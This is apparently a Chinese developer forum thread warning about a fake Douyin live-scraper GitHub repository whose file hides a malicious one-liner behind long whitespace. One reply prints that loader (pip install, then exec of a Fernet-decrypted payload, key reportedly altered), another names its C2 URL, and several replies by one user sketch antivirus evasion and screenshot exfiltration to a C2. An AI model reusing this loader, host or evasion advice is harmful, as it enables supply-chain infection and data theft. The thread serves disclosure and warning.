
起因是最近在了解 DY 直播间的抓取,发现一个 github 仓库,有很多仓库类似,不相信误触了一个, 编译的时候报错,发现 github 预览和实际是两个,有部分代码被隐藏了, 这是怎么做到的? 仓库拥有者是这个人:Douyin-Live , liveMan.py 在第 9 行有看不到的代码, 恶意运行, 我只能说这人真坏!
1 ntedshen 12 小时 9 分钟前 。。。论不开自动折行的坏处 这不是就是用一堆空格把 exec 放到最后了么。。。 |
2 cairnechen 11 小时 29 分钟前 其实可以先扔给 AI 分析一波,这种程度的一般都能找出来 |
3 cairnechen 11 小时 20 分钟前 不过我这个仓库作者之前做的仓库是正常的?专门开了一个组织来上传包含恶意代码的版本?恶堕了吗? |
4 renmu123 11 小时 14 分钟前 github 先举报一波 |
5 MYDB 11 小时 12 分钟前 fork 比 star 多的仓库,都是假的 |
6 larry011 11 小时 6 分钟前 via Android 这么巧,前几天刚刚举报这个仓库 |
7 renmu123 11 小时 5 分钟前 那个 commit 的开发者还有其他的 douyin 项目,建议保留证据,之后举报当前仓库,后面去另一个仓库提 issue |
8 cairnechen 10 小时 35 分钟前 你的观察非常敏锐!页面上确实显示贡献者是 saermart ,这也是这种钓鱼仓库最具欺骗性的一点。 出现这种情况,是因为黑客利用了 Git 的底层机制和 GitHub 的显示规则来进行伪装。作为一个经常和代码打交道的开发者,你可能对 Git 比较熟悉,我来为你拆解一下他们是怎么做到“移花接木”的: 为什么会显示原作者的名字? Git 提交记录自带作者信息: 在 Git 中,每一次 commit 都会附带提交者的名字和邮箱(即 git config user.name 和 user.email )。 克隆并全盘推送: 攻击者把正版仓库( saermart/DouyinLiveWebFetcher )完整克隆到了本地。这些代码的历史提交记录里,全都是 saermart 的原始邮箱和签名。 GitHub 的自动关联匹配: 接着,攻击者新建了一个名为 Douyin-Live 的组织,并把克隆下来的代码(连同所有的历史提交记录)推送到这个新仓库里。GitHub 扫描到这些历史提交的邮箱属于 saermart 这个账号,就会自动在贡献者( Contributors )列表中展示他的头像和主页链接。 卧槽,原来是这么实现的,错怪原作者了 |
9 cairnechen 10 小时 30 分钟前 @renmu123 有可能不是那个作者干的 |
10 Hashbaby 5 小时 15 分钟前 |
11 Hashbaby 5 小时 10 分钟前 如果换作是我 我就把恶意代码藏到加密的 js 文件里面 利用 node 向 python 注入恶意代码 进行底层函数劫持 这样杀毒软件都不会报毒 |
12 Hashbaby 5 小时 7 分钟前 进行函数劫持 而且自带持久化 持久化都不用做了 卡巴斯基都不会报毒 还可以利用 windows 自带的屏幕截图 然后加密数据 回传到 C2 一气呵成 |
13 Hashbaby 5 小时 4 分钟前 内存免杀使用心跳抖动 内存完全随机 一点特征都没有 接下来唯一需要注意的就是回连 C2 的主机不要被哈希标注就行了 |
15 henix 3 小时 1 分钟前 在 https://github.com/Douyin-Live 这里点“Report abuse”,有个“请为您的问题选择类别”的下拉框死活加载不出来,有人知道为什么吗 |
17 sddyzm 2 小时 31 分钟前 via iPhone 还是微软太不上心了 |
18 94 2 小时 30 分钟前 |
20 bbbb 2 小时 4 分钟前 太坑了,还运行过这个项目,不知道电脑有没有事。macOS 。 |
24 bigha 1 小时 56 分钟前 │ 1. 用户执行恶意代码 │ │ ↓ │ │ 2. 自动安装依赖: cryptography, fernet, requests │ │ ↓ │ │ 3. 解密 Fernet 加密的载荷 │ │ ↓ │ │ 4. 执行解密后的代码: │ │ requests.get('https://marsalek.cy/paste?userid=116') │ │ ↓ │ │ 5. C2 服务器返回 Python 代码 │ │ ↓ │ │ 6. exec() 执行服务器返回的任意代码 如果执行了就重装系统吧 避免更多的损失 |
26 Zarhani 1 小时 11 分钟前 这个域名我打开的时候立即被卡巴斯基拦住了 :) |
27 sockpuppet9527 1 小时 2 分钟前 "在第 9 行有看不到的代码", 其实看的到,只是 import os 后面空格了 N 行,所以页面上你得往右拉才看的到。 |
28 确实不好发现.就算 IDE 里,这不会自动换行,不容易发现啊. 代码就下面那样.我改过加密部分字母了,不能解密运行的 import os;import subprocess, sys; subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'cryptography', 'fernet', 'requests']); from cryptography.fernet import Fernet; import requests;exec(Fernet(b'g7CbkoPLVMvvKfaZLW2oGOO3q8Khj6Kctk3Vy8kM=').decrypt(b'gAAAdCZD_EjlsxPNG_8di-mnsPIQvU8WA7rrmD_jzQvIRfJ5ct0FxB6hddPBJaaan9zdjwT1C5qvRjIUkhs9tcX09hN4l_XwQWgrJmtZZOYxbv-MfRSD2MJ5VtyqOonxbzN_4Q-id9q_NdhLZpmW5tvDkzJ5ByrOH2h5-M2wlrrL8SZXv8PrtmZX57Z-vqii6W3Ni4vJTBBMLsFKd9PMzQ==xxxx')) |